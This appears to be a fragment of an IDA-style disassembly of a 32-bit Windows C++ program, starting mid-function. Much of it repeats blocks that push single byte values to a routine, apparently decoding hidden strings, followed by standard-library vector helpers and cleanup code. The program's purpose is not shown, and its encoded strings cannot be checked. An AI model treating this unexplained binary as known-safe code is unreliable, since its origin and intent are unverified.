		mov	byte ptr [esp+370h], 2Fh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+0FA3h]
		mov	byte ptr [esp+388h], 30h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+98h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		mov	byte ptr [esp+398h], 31h
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+80h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 32h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0F5Ah]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 33h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+90h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3DCh], 34h
		call	sub_4019C4
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 35h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edi, [esi+0E7Fh]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 36h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+218h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 37h
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 38h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0F11h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 39h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		mov	byte ptr [esp+38Ch], 3Ah
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+84h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Bh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+107Eh]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Ch
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	eax, [esp+10h]
		mov	ecx, offset byte_4D834F
		push	eax
		mov	[esp+14h], edi
		call	sub_401A73
		lea	ecx, [esp+68h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 3Dh
		call	sub_4019C4
		add	esp, 64h
		mov	byte ptr [esp+370h], 3Eh
		mov	ecx, eax
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1234h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Fh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+88h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D4h], 40h
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 41h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+127Dh]
		mov	byte ptr [esp+388h], 42h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1B8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		mov	byte ptr [esp+370h], 43h
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+78h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 44h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+11EBh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 45h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1E8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+80h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3CCh], 46h
		call	sub_4019C4
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 47h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+11A2h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 48h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+90h]
		push	13h
		push	eax
		mov	byte ptr [esp+3DCh], 49h
		call	sub_4019C4
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Ah
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 4Bh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1A0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		mov	byte ptr [esp+374h], 4Ch
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Dh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1159h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 4Eh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+84h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D0h], 4Fh
		call	sub_4019C4
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 50h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+12C6h]
		mov	byte ptr [esp+388h], 51h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	edx, [esp+10h]
		mov	ecx, offset byte_4D834F
		push	edx
		mov	[esp+14h], edi
		call	sub_401A73
		push	offset byte_448F30
		push	offset word_4E8E5A
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+230h]
		call	sub_40142E
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_40142E
		push	56D2h
		push	539h
		mov	byte ptr [esp+360h], 53h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	eax
		lea	eax, [esp+23Ch]
		push	offset dword_4447F4
		push	eax
		call	sub_40102D
		push	56D2h
		push	539h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	eax
		lea	ecx, [esp+280h]
		push	offset dword_4447F4
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+606h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+805h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+84Eh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+52Bh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		lea	edx, [esp+278h]
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1E8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+260h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+188h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+158h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+128h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2C0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+773h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2A8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+7BCh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	offset word_4E8E5A
		call	sub_4014D3
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1A0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+170h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+0F8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+248h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+375h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_4017EE
		push	eax
		push	offset byte_4493ED
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_4017EE
		push	eax
		push	offset dword_4493A4
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		call	sub_4017EE
		push	eax
		push	offset dword_449280
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_4017EE
		push	eax
		push	offset word_449312
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_4017EE
		push	eax
		push	offset byte_4492C9
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_4017EE
		push	eax
		push	offset byte_44935B
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_4017EE
		push	eax
		push	offset byte_44947F
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		lea	ecx, [esp+200h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+370h], 54h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+388h], 55h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A4h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+3A0h], 56h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0C0h], esp
		push	eax
		call	sub_401870
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+3B8h], 53h
		call	sub_40137F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_401226
		lea	ecx, [esp+230h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		mov	byte ptr [esp+358h], 1Dh
		call	sub_401226
		mov	byte ptr [esp+358h], 1Ch
		lea	ecx, [esp+2Ch]
		call	sub_401226
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+358h], 1Bh
		call	sub_401226
		lea	ecx, [esp+2C0h]
		mov	byte ptr [esp+358h], 1Ah
		call	sub_401226
		lea	ecx, [esp+2A8h]
		mov	byte ptr [esp+358h], 19h
		call	sub_401226
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+358h], 18h
		call	sub_401226
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+358h], 17h
		call	sub_401226
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+358h], 16h
		call	sub_401226
		lea	ecx, [esp+0E0h]
		mov	byte ptr [esp+358h], 15h
		call	sub_401226
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+358h], 14h
		call	sub_401226
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+358h], 13h
		call	sub_401226
		lea	ecx, [esp+1D0h]
		mov	byte ptr [esp+358h], 12h
		call	sub_401226
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+358h], 11h
		call	sub_401226
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+358h], 10h
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+358h], 0Fh
		call	sub_401226
		lea	ecx, [esp+0F8h]
		mov	byte ptr [esp+358h], 0Eh
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+358h], 0Dh
		call	sub_401226
		lea	ecx, [esp+2F0h]
		mov	byte ptr [esp+358h], 0Ch
		call	sub_401226
		lea	ecx, [esp+320h]
		mov	byte ptr [esp+358h], 0Bh
		call	sub_401226
		lea	ecx, [esp+2D8h]
		mov	byte ptr [esp+358h], 0Ah
		call	sub_401226
		lea	ecx, [esp+308h]
		mov	byte ptr [esp+358h], 9
		call	sub_401226
		lea	ecx, [esp+338h]
		mov	byte ptr [esp+358h], 8
		call	sub_401226
		lea	ecx, [esp+0C8h]
		mov	byte ptr [esp+358h], 7
		call	sub_401226
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+358h], 6
		call	sub_401226
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+358h], 5
		call	sub_401226
		lea	ecx, [esp+68h]
		mov	byte ptr [esp+358h], 4
		call	sub_401226
		lea	ecx, [esp+0B0h]
		mov	byte ptr [esp+358h], 3
		call	sub_401226
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+358h], 2
		call	sub_401226
		mov	byte ptr [esp+358h], 1
		lea	ecx, [esp+1E8h]
		call	sub_401226
		lea	ecx, [esp+80h]
		mov	byte ptr [esp+358h], 0
		call	sub_401226
		lea	ecx, [esp+98h]
		mov	dword ptr [esp+358h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+350h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 5E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409530	proc near		; CODE XREF: sub_401474j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401983
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_409548
		mov	ecx, esi
		call	sub_40191A
; ---------------------------------------------------------------------------


loc_409548:				; CODE XREF: sub_409530+Fj
		mov	ecx, esi
		call	sub_401A46
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_409530	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409570	proc near		; CODE XREF: sub_401A73j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40128A
		push	eax
		mov	ecx, esi
		call	sub_401695
		pop	esi
		retn	4
sub_409570	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095A0	proc near		; CODE XREF: sub_401A46j
		mov	eax, [ecx+4]
		retn
sub_4095A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095C0	proc near		; CODE XREF: sub_40128Aj
		mov	eax, [ecx+8]
		retn
sub_4095C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095E0	proc near		; CODE XREF: sub_401983j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_4095EA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4095EA:				; CODE XREF: sub_4095E0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_4095E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409610	proc near		; CODE XREF: sub_401695j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401A46
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_401BAE
		mov	ecx, edi
		call	sub_401A46
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_409610	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409660	proc near		; CODE XREF: sub_40191Aj

var_40		= byte ptr -40h
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_C		= dword	ptr -0Ch

		push	0FFFFFFFFh
		push	offset SEH_409660
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3Ch+var_39]
		lea	ecx, [esp+3Ch+var_38]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+44h+var_40]
		mov	[esp+44h+var_C], 0
		push	ecx
		lea	ecx, [esp+48h+var_30]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+48h+var_34]
		push	offset dword_440088
		push	edx
		call	sub_437B22
sub_409660	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4096E0	proc near		; CODE XREF: sub_401BAEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_4097AB
		mov	ecx, esi
		call	sub_401983
		cmp	edi, eax
		jnb	short loc_409713
		mov	ecx, esi
		call	sub_401983
		mov	ebp, eax
		jmp	short loc_409715
; ---------------------------------------------------------------------------


loc_409713:				; CODE XREF: sub_4096E0+26j
		mov	ebp, edi


loc_409715:				; CODE XREF: sub_4096E0+31j
		mov	ecx, esi
		call	sub_401983
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401CC1
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4016E0
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401177
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4016E0
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401717
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_401983
		add	eax, edi
